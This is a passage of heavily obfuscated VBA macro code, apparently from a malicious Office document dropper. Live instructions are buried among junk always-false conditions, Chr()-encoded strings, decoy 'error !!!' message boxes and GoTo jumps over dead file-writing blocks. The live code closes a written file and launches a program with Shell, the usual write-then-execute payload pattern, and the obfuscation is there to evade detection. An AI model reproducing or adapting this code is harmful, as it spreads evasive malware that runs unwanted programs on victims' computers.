'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 371891 = 371891 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1292 < 67 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(113) & Chr(115) & Chr(108) & Chr(113) & Chr(101) & Chr(109) & Chr(107) & Chr(112) & Chr(50) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(109) & Chr(115) & Chr(106) & Chr(112) & Chr(106) & Chr(113) & Chr(120) & Chr(98) & Chr(52) & Chr(52) & Chr(54) & Chr(54)) = Len(Chr(120) & Chr(104) & Chr(109) & Chr(99) & Chr(118) & Chr(112) & Chr(119) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
eubugyes:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 592352 = 592352 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2772 < 21 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(103) & Chr(102) & Chr(120) & Chr(98) & Chr(118) & Chr(121) & Chr(101) & Chr(108) & Chr(57) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(122) & Chr(103) & Chr(114) & Chr(121) & Chr(119) & Chr(108) & Chr(112) & Chr(116) & Chr(51) & Chr(54) & Chr(50) & Chr(50)) = Len(Chr(99) & Chr(105) & Chr(114) & Chr(113) & Chr(103) & Chr(99) & Chr(118) & Chr(108)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Close #zgbpbucckrp
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo syypbxop
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim txxmjevf As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(75) & Chr(88) & Chr(90) & Chr(87) & Chr(90) & Chr(66) & Chr(46) & Chr(81) & Chr(79) & Chr(86) For Binary As 54
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 418815 = 418815 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4985 < 72 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(104) & Chr(117) & Chr(117) & Chr(111) & Chr(114) & Chr(102) & Chr(112) & Chr(100) & Chr(53) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(100) & Chr(97) & Chr(115) & Chr(118) & Chr(108) & Chr(104) & Chr(113) & Chr(103) & Chr(53) & Chr(56) & Chr(51) & Chr(53)) = Len(Chr(97) & Chr(112) & Chr(117) & Chr(119) & Chr(118) & Chr(101) & Chr(100) & Chr(111)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #54, , txxmjevf
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 775994 = 775994 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7492 < 12 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(116) & Chr(102) & Chr(105) & Chr(122) & Chr(112) & Chr(109) & Chr(106) & Chr(50) & Chr(50))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(121) & Chr(119) & Chr(106) & Chr(121) & Chr(113) & Chr(122) & Chr(106) & Chr(105) & Chr(50) & Chr(54) & Chr(54) & Chr(53)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(97) & Chr(105) & Chr(108) & Chr(97) & Chr(117)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #54
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 233887 = 233887 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6138 < 26 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(116) & Chr(108) & Chr(121) & Chr(111) & Chr(98) & Chr(116) & Chr(118) & Chr(104) & Chr(51) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(120) & Chr(122) & Chr(105) & Chr(106) & Chr(97) & Chr(102) & Chr(102) & Chr(118) & Chr(57) & Chr(51) & Chr(57) & Chr(50)) = Len(Chr(99) & Chr(121) & Chr(113) & Chr(116) & Chr(111) & Chr(115) & Chr(102) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
syypbxop:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 156742 = 156742 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4522 < 48 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(121) & Chr(102) & Chr(110) & Chr(113) & Chr(114) & Chr(109) & Chr(108) & Chr(116) & Chr(54) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(98) & Chr(105) & Chr(109) & Chr(108) & Chr(111) & Chr(97) & Chr(107) & Chr(115) & Chr(53) & Chr(52) & Chr(54) & Chr(51)) = Len(Chr(105) & Chr(120) & Chr(122) & Chr(102) & Chr(121) & Chr(107) & Chr(122) & Chr(113)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
     
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Dim mxrwkuegsvh
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo vhvdjdfg
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim hugvimzl As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(86) & Chr(70) & Chr(86) & Chr(80) & Chr(67) & Chr(87) & Chr(46) & Chr(86) & Chr(81) & Chr(66) For Binary As 71
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 314729 = 314729 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3944 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(117) & Chr(105) & Chr(122) & Chr(105) & Chr(108) & Chr(103) & Chr(100) & Chr(52) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(97) & Chr(102) & Chr(107) & Chr(118) & Chr(119) & Chr(106) & Chr(103) & Chr(54) & Chr(51) & Chr(49) & Chr(55)) = Len(Chr(117) & Chr(121) & Chr(106) & Chr(116) & Chr(121) & Chr(109) & Chr(104) & Chr(119)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #71, , hugvimzl
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 946696 = 946696 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9198 < 94 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(112) & Chr(102) & Chr(106) & Chr(106) & Chr(104) & Chr(108) & Chr(101) & Chr(107) & Chr(52) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(107) & Chr(101) & Chr(119) & Chr(104) & Chr(118) & Chr(113) & Chr(98) & Chr(112) & Chr(49) & Chr(56) & Chr(53) & Chr(56)) = Len(Chr(100) & Chr(120) & Chr(108) & Chr(119) & Chr(108) & Chr(106) & Chr(115) & Chr(99)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #71
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 313795 = 313795 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6838 < 34 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(117) & Chr(117) & Chr(121) & Chr(108) & Chr(98) & Chr(113) & Chr(117) & Chr(49) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(118) & Chr(107) & Chr(111) & Chr(100) & Chr(109) & Chr(111) & Chr(97) & Chr(104) & Chr(55) & Chr(54) & Chr(55) & Chr(56)) = Len(Chr(115) & Chr(98) & Chr(122) & Chr(112) & Chr(118) & Chr(120) & Chr(101) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
vhvdjdfg:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 162718 = 162718 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2259 < 26 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(107) & Chr(99) & Chr(108) & Chr(99) & Chr(98) & Chr(99) & Chr(99) & Chr(122) & Chr(54) & Chr(49))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(98) & Chr(100) & Chr(120) & Chr(119) & Chr(105) & Chr(104) & Chr(108) & Chr(109) & Chr(51) & Chr(49) & Chr(49) & Chr(57)) = Len(Chr(108) & Chr(121) & Chr(119) & Chr(110) & Chr(97) & Chr(120) & Chr(121) & Chr(105)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    mxrwkuegsvh = Shell(kxqaxtgwbnh, 1)
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo upvpnycc
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim dtuyfnfh As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(79) & Chr(65) & Chr(85) & Chr(78) & Chr(78) & Chr(81) & Chr(46) & Chr(79) & Chr(86) & Chr(73) For Binary As 25
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 745147 = 745147 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7358 < 14 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(116) & Chr(109) & Chr(106) & Chr(118) & Chr(98) & Chr(113) & Chr(119) & Chr(118) & Chr(56) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(101) & Chr(104) & Chr(99) & Chr(102) & Chr(103) & Chr(100) & Chr(118) & Chr(98) & Chr(56) & Chr(49) & Chr(49) & Chr(56)) = Len(Chr(106) & Chr(98) & Chr(106) & Chr(113) & Chr(108) & Chr(98) & Chr(98) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #25, , dtuyfnfh
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 478173 = 478173 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5323 < 71 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(111) & Chr(97) & Chr(97) & Chr(102) & Chr(117) & Chr(112) & Chr(111) & Chr(101) & Chr(56) & Chr(50))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(104) & Chr(106) & Chr(116) & Chr(115) & Chr(104) & Chr(101) & Chr(116) & Chr(119) & Chr(56) & Chr(53) & Chr(56) & Chr(54)) = Len(Chr(118) & Chr(116) & Chr(115) & Chr(105) & Chr(115) & Chr(109) & Chr(106) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #25
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 493914 = 493914 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8639 < 43 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(106) & Chr(110) & Chr(121) & Chr(104) & Chr(108) & Chr(104) & Chr(100) & Chr(122) & Chr(53) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(105) & Chr(113) & Chr(105) & Chr(99) & Chr(109) & Chr(98) & Chr(101) & Chr(112) & Chr(50) & Chr(57) & Chr(57) & Chr(51)) = Len(Chr(111) & Chr(102) & Chr(113) & Chr(113) & Chr(101) & Chr(118) & Chr(122) & Chr(104)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
upvpnycc:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 293355 = 293355 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5988 < 53 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(115) & Chr(111) & Chr(121) & Chr(104) & Chr(108) & Chr(103) & Chr(101) & Chr(97) & Chr(55) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(114) & Chr(110) & Chr(118) & Chr(99) & Chr(119) & Chr(97) & Chr(105) & Chr(54) & Chr(55) & Chr(51) & Chr(56)) = Len(Chr(100) & Chr(107) & Chr(111) & Chr(108) & Chr(109) & Chr(115) & Chr(115) & Chr(117)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Set ocpvmgeelcx = Nothing
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo delrostx
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim kvzvcucd As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(83) & Chr(80) & Chr(84) & Chr(80) & Chr(75) & Chr(65) & Chr(46) & Chr(87) & Chr(90) & Chr(69) For Binary As 38
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 146892 = 146892 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7572 < 16 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
